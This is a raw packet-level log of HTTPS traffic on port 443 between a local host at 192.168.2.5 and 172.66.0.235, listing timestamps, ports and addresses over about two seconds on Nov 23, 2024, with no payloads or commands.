Nov 23, 2024 13:38:06.446434975 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.446446896 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.446472883 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.446490049 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.448199987 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.448246002 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.448266983 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.448278904 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.448322058 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.448322058 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.525157928 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.625179052 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.625231028 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.625298023 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.625327110 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.625355005 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.625380039 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.627010107 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.627057076 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.627085924 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.627098083 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.627125025 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.627141953 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.629349947 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.629395008 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.629427910 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.629439116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.629466057 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.629506111 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.631834030 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.631880045 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.631906033 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.631917000 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.631948948 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.631968021 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.633574963 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.633678913 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.633831978 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.633831978 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.633846045 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.633924007 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.635915041 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.635982037 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.635988951 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.636009932 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.636051893 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.636075974 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.638503075 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.638545036 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.638571024 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.638602972 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.638628960 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.638673067 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.672346115 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.672390938 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.672430992 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.672446012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.672473907 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.674730062 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.704612970 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.818368912 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.818419933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.818460941 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.818495035 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.818525076 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.818543911 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.820189953 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.820250034 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.820274115 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.820286036 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.820317984 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.820338011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.822176933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.822221994 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.822254896 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.822267056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.822310925 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.822310925 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.824897051 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.824939966 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.824968100 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.824979067 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.825021029 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.825053930 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.826869965 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.826913118 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.826948881 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.826965094 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.826991081 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.827023983 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.829035997 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.829080105 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.829107046 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.829124928 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.829166889 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.829205990 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.831712961 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.831758976 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.831788063 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.831799030 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.831828117 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.831887960 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.833590031 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.867362976 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.867425919 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.867549896 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.867549896 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.867568016 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.867650032 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.989264011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.008780956 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.008862019 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.008913040 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.008930922 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.008970976 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.009006023 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.011205912 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.011251926 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.011277914 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.011291027 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.011343002 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.011343002 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.012988091 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.013032913 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.013057947 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.013070107 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.013118029 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.013118029 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.015296936 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.015357971 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.015358925 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.015383959 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.015420914 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.015441895 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.015760899 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.017807007 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.017868996 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.017889023 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.017900944 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.017941952 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.017965078 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.019578934 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.019627094 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.019681931 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.019681931 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.019695997 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.019742012 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.021994114 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.022037983 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.022074938 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.022087097 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.022114038 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.022173882 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.056401014 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.056447983 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.056494951 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.056514025 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.056540012 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.056560993 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.066211939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.201050043 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.201121092 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.201294899 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.201296091 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.201325893 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.202740908 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.202831984 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.202879906 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.202903032 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.202914953 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.202939987 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.202960968 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.205054045 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.205099106 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.205131054 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.205142975 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.205169916 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.205189943 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.207520008 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.207564116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.207593918 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.207606077 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.207632065 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.207648993 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.209352970 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.209395885 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.209422112 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.209431887 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.209459066 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.209475994 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.211716890 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.211765051 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.211791039 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.211802959 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.211827993 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.211850882 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.214227915 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.214270115 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.214297056 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.214329004 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.214355946 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.214375019 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.214865923 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.248296976 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.248344898 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.248483896 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.248485088 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.248505116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.250744104 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.252127886 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.392935991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.392997026 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.393047094 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.393085003 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.393114090 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.393134117 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.394712925 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.394762993 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.394802094 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.394819975 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.394849062 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.394865990 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.397150040 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.397228956 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.397242069 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.397254944 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.397290945 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.397308111 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.399523020 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.399570942 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.399600983 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.399612904 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.399637938 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.399657965 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.401221037 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.401264906 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.401288986 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.401299953 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.401326895 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.401344061 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.403661013 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.403738022 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.403742075 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.403769970 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.403817892 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.403841019 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.406064034 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.406141996 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.406152010 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.406173944 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.406213045 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.406234980 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.408617020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.440398932 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.440479994 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.440490007 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.440515995 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.440572023 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.440572023 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.584978104 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.585042000 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.585102081 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.585133076 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.585174084 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.585205078 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.586610079 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.586673021 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.586692095 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.586707115 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.586741924 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.586762905 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.589171886 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.589217901 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.589256048 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.589265108 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.589281082 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.589314938 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.591677904 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.591718912 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.591758013 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.591764927 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.591794968 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.591815948 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.593444109 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.593486071 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.593509912 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.593516111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.593549967 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.593563080 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.595813036 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.595854044 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.595884085 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.595896959 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.595923901 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.595936060 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.598196983 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.598238945 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.598278999 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.598295927 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.598321915 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.598361015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.599159002 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.632397890 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.632447004 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.632499933 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.632545948 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.632575989 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.632596016 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.634670019 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.777457952 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.777506113 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.777570963 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.777589083 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.777622938 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.777646065 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.779822111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.779843092 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.779892921 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.779903889 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.779932976 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.779958010 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.781739950 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.781757116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.781801939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.781814098 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.781841993 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.781864882 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.784142971 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.784190893 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.784212112 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.784223080 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.784250021 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.784267902 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.786422968 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.786442995 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.786485910 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.786497116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.786521912 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.786541939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.788211107 CET	443	49704	172.66.0.235	192.168.2.5
